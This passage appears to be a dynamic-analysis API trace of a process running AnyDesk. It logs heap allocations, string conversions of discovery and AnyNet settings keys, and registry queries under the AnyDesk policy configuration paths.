Size=0x2) returned 0x1969790 [0283.782] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697c0 [0283.782] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697d0 [0283.782] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697e0 [0283.782] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19697f0 [0283.782] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969800 [0283.782] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969810 [0283.782] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969820 [0283.782] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969830 [0283.783] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969820 | out: hHeap=0x1930000) returned 1 [0283.783] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969820 [0283.783] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969830 | out: hHeap=0x1930000) returned 1 [0283.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5990, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.783] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969830 [0283.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5990, cbMultiByte=-1, lpWideCharStr=0x1969830, cchWideChar=2 | out: lpWideCharStr="-") returned 2 [0283.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5990, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.783] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1969840 [0283.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd5990, cbMultiByte=-1, lpWideCharStr=0x1969840, cchWideChar=2 | out: lpWideCharStr="-") returned 2 [0283.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbedfc4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.783] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1962888 [0283.783] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbedfc4, cbMultiByte=-1, lpWideCharStr=0x1962888, cchWideChar=21 | out: lpWideCharStr="ad.discovery.enabled") returned 21 [0283.783] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1962a48 [0283.783] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1962a80 [0283.783] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aaad0 [0283.783] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1962ab8 [0283.784] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962a80 | out: hHeap=0x1930000) returned 1 [0283.784] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962888 | out: hHeap=0x1930000) returned 1 [0283.784] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff2bc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0283.785] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961ed0 [0283.785] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbff2bc, cbMultiByte=-1, lpWideCharStr=0x1961ed0, cchWideChar=20 | out: lpWideCharStr="ad.discovery.hidden") returned 20 [0283.785] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961f00 [0283.785] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961f30 [0283.785] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aaaf0 [0283.785] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961f60 [0283.785] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961f30 | out: hHeap=0x1930000) returned 1 [0283.785] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961ed0 | out: hHeap=0x1930000) returned 1 [0283.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbffb3c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0283.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x1973510 [0283.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbffb3c, cbMultiByte=-1, lpWideCharStr=0x1973510, cchWideChar=13 | out: lpWideCharStr="ad.anynet.id") returned 13 [0283.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x1973538 [0283.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x1973560 [0283.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aab10 [0283.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1a) returned 0x1973588 [0283.786] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973560 | out: hHeap=0x1930000) returned 1 [0283.786] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973510 | out: hHeap=0x1930000) returned 1 [0283.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe81d0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0283.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973510 [0283.786] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbe81d0, cbMultiByte=-1, lpWideCharStr=0x1973510, cchWideChar=16 | out: lpWideCharStr="ad.anynet.alias") returned 16 [0283.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x1973560 [0283.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969850 [0283.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19735b0 [0283.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aab30 [0283.786] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x20) returned 0x19735d8 [0283.787] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19735b0 | out: hHeap=0x1930000) returned 1 [0283.787] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973510 | out: hHeap=0x1930000) returned 1 [0283.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1653c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0283.787] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1962888 [0283.787] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1653c, cbMultiByte=-1, lpWideCharStr=0x1962888, cchWideChar=21 | out: lpWideCharStr="ad.anynet.network_id") returned 21 [0283.787] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1962a80 [0283.787] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969860 [0283.787] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1962af0 [0283.787] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aab50 [0283.787] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2a) returned 0x1962b28 [0283.788] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962af0 | out: hHeap=0x1930000) returned 1 [0283.788] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962888 | out: hHeap=0x1930000) returned 1 [0283.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbedfdc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 30 [0283.788] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x1970cd8 [0283.788] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbedfdc, cbMultiByte=-1, lpWideCharStr=0x1970cd8, cchWideChar=30 | out: lpWideCharStr="ad.discovery.default_behavior") returned 30 [0283.788] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x1970d68 [0283.788] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x1970df8 [0283.788] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aab70 [0283.788] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3c) returned 0x1970e40 [0283.788] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970df8 | out: hHeap=0x1930000) returned 1 [0283.789] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970cd8 | out: hHeap=0x1930000) returned 1 [0283.789] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x16) returned 0x19aab90 [0283.789] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969870 [0283.789] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc165e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0283.789] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1990798 [0283.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc165e0, cbMultiByte=-1, lpWideCharStr=0x1990798, cchWideChar=26 | out: lpWideCharStr="ad.discovery.multicast_ip") returned 26 [0283.789] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.789] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698a0 [0283.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19698a0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.789] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698b0 [0283.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.789] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19698c0 [0283.789] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x19698c0, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.790] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698c0 | out: hHeap=0x1930000) returned 1 [0283.790] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3b) returned 0x1970cd8 [0283.790] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962888 [0283.790] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970cd8 | out: hHeap=0x1930000) returned 1 [0283.790] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698c0 [0283.790] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aabb0 [0283.790] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x1990958 [0283.790] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698c0 | out: hHeap=0x1930000) returned 1 [0283.790] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698b0 | out: hHeap=0x1930000) returned 1 [0283.790] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962af0 [0283.790] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.multicastip", lpReserved=0x0, lpType=0x294b210, lpData=0x0, lpcbData=0x294b214*=0x0 | out: lpType=0x294b210*=0x0, lpData=0x0, lpcbData=0x294b214*=0x0) returned 0x6 [0283.790] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b23c | out: phkResult=0x294b23c*=0x0) returned 0x2 [0283.791] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962af0 | out: hHeap=0x1930000) returned 1 [0283.791] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698b0 [0283.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.791] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19698c0 [0283.791] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x19698c0, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.792] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698c0 | out: hHeap=0x1930000) returned 1 [0283.792] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3b) returned 0x1970cd8 [0283.792] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962af0 [0283.792] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970cd8 | out: hHeap=0x1930000) returned 1 [0283.792] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698c0 [0283.792] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aabd0 [0283.792] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x34) returned 0x19909d8 [0283.792] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698c0 | out: hHeap=0x1930000) returned 1 [0283.792] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698b0 | out: hHeap=0x1930000) returned 1 [0283.792] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2c) returned 0x1962b60 [0283.792] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.multicastip", lpReserved=0x0, lpType=0x294b210, lpData=0x0, lpcbData=0x294b214*=0x0 | out: lpType=0x294b210*=0x0, lpData=0x0, lpcbData=0x294b214*=0x0) returned 0x6 [0283.792] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b23c | out: phkResult=0x294b23c*=0x0) returned 0x2 [0283.793] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962b60 | out: hHeap=0x1930000) returned 1 [0283.793] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.793] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973510 [0283.793] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.793] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.793] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x19735b0 [0283.793] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973510 | out: hHeap=0x1930000) returned 1 [0283.793] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990798 | out: hHeap=0x1930000) returned 1 [0283.793] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.793] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973510 [0283.794] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973600 [0283.794] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973510 | out: hHeap=0x1930000) returned 1 [0283.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1a9a8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0283.794] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aabf0 [0283.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1a9a8, cbMultiByte=-1, lpWideCharStr=0x19aabf0, cchWideChar=10 | out: lpWideCharStr="*.*.*.*:*") returned 10 [0283.794] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19aabf0 | out: hHeap=0x1930000) returned 1 [0283.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1a9b4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0283.794] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19ab138 [0283.794] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc1a9b4, cbMultiByte=-1, lpWideCharStr=0x19ab138, cchWideChar=8 | out: lpWideCharStr="*.*.*.*") returned 8 [0283.794] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab138 | out: hHeap=0x1930000) returned 1 [0283.794] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1e) returned 0x1973510 [0283.794] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19698a0 [0283.794] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.794] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19698a0 [0283.794] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.794] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19698a0 [0283.794] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.794] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19698a0 [0283.794] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.794] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973510 | out: hHeap=0x1930000) returned 1 [0283.795] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698a0 [0283.795] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.795] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.795] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.795] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1973600 | out: hHeap=0x1930000) returned 1 [0283.795] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc165fc, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 28 [0283.795] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990798 [0283.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc165fc, cbMultiByte=-1, lpWideCharStr=0x1990798, cchWideChar=28 | out: lpWideCharStr="ad.discovery.multicast_port") returned 28 [0283.795] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1 [0283.795] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698a0 [0283.795] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7e9e3d, cbMultiByte=-1, lpWideCharStr=0x19698a0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0283.797] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.797] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19698b0 [0283.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x19698b0, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.797] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698b0 | out: hHeap=0x1930000) returned 1 [0283.797] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3f) returned 0x1970cd8 [0283.797] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x1962b60 [0283.798] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970cd8 | out: hHeap=0x1930000) returned 1 [0283.798] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698b0 [0283.798] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aabf0 [0283.798] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990998 [0283.798] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698b0 | out: hHeap=0x1930000) returned 1 [0283.798] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.798] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x1962b98 [0283.798] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.multicastport", lpReserved=0x0, lpType=0x294b200, lpData=0x0, lpcbData=0x294b204*=0x0 | out: lpType=0x294b200*=0x0, lpData=0x0, lpcbData=0x294b204*=0x0) returned 0x6 [0283.798] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b22c | out: phkResult=0x294b22c*=0x0) returned 0x2 [0283.799] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962b98 | out: hHeap=0x1930000) returned 1 [0283.799] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969890 [0283.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.799] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x19698b0 [0283.799] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x19698b0, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.799] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698b0 | out: hHeap=0x1930000) returned 1 [0283.799] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x3f) returned 0x1970cd8 [0283.799] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x1962b98 [0283.800] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1970cd8 | out: hHeap=0x1930000) returned 1 [0283.800] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19698b0 [0283.800] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x19aac10 [0283.800] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x38) returned 0x1990a58 [0283.800] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698b0 | out: hHeap=0x1930000) returned 1 [0283.800] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969890 | out: hHeap=0x1930000) returned 1 [0283.800] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x1962bd0 [0283.800] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.multicastport", lpReserved=0x0, lpType=0x294b200, lpData=0x0, lpcbData=0x294b204*=0x0 | out: lpType=0x294b200*=0x0, lpData=0x0, lpcbData=0x294b204*=0x0) returned 0x6 [0283.800] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Defaults", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b22c | out: phkResult=0x294b22c*=0x0) returned 0x2 [0283.801] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1962bd0 | out: hHeap=0x1930000) returned 1 [0283.801] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969880 | out: hHeap=0x1930000) returned 1 [0283.801] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19ab150 [0283.801] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19698a0 | out: hHeap=0x1930000) returned 1 [0283.801] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19ab150 | out: hHeap=0x1930000) returned 1 [0283.801] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990798 | out: hHeap=0x1930000) returned 1 [0283.801] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1969820 | out: hHeap=0x1930000) returned 1 [0283.801] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969820 [0283.801] GetLastError () returned 0x0 [0283.801] RegQueryValueExW (in: hKey=0x0, lpValueName="discovery.repeatinterval", lpReserved=0x0, lpType=0x294b258, lpData=0x0, lpcbData=0x294b25c*=0x0 | out: lpType=0x294b258*=0x0, lpData=0x0, lpcbData=0x294b25c*=0x0) returned 0x6 [0283.801] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\AnyDesk\\Config\\Overrides", ulOptions=0x0, samDesired=0x20119, phkResult=0x294b284 | out: phkResult=0x294b284*=0x0) returned 0x2 [0283.802] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1990a18 | out: hHeap=0x1930000) returned 1 [0283.802] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1969880 [0283.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 4 [0283.802] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x8) returned 0x1969890 [0283.802] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc274e0, cbMultiByte=-1, lpWideCharStr=0x1969890, cchWideChar=4 | out: lpWideCharStr="ad.") returned 4 [0283.802] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, 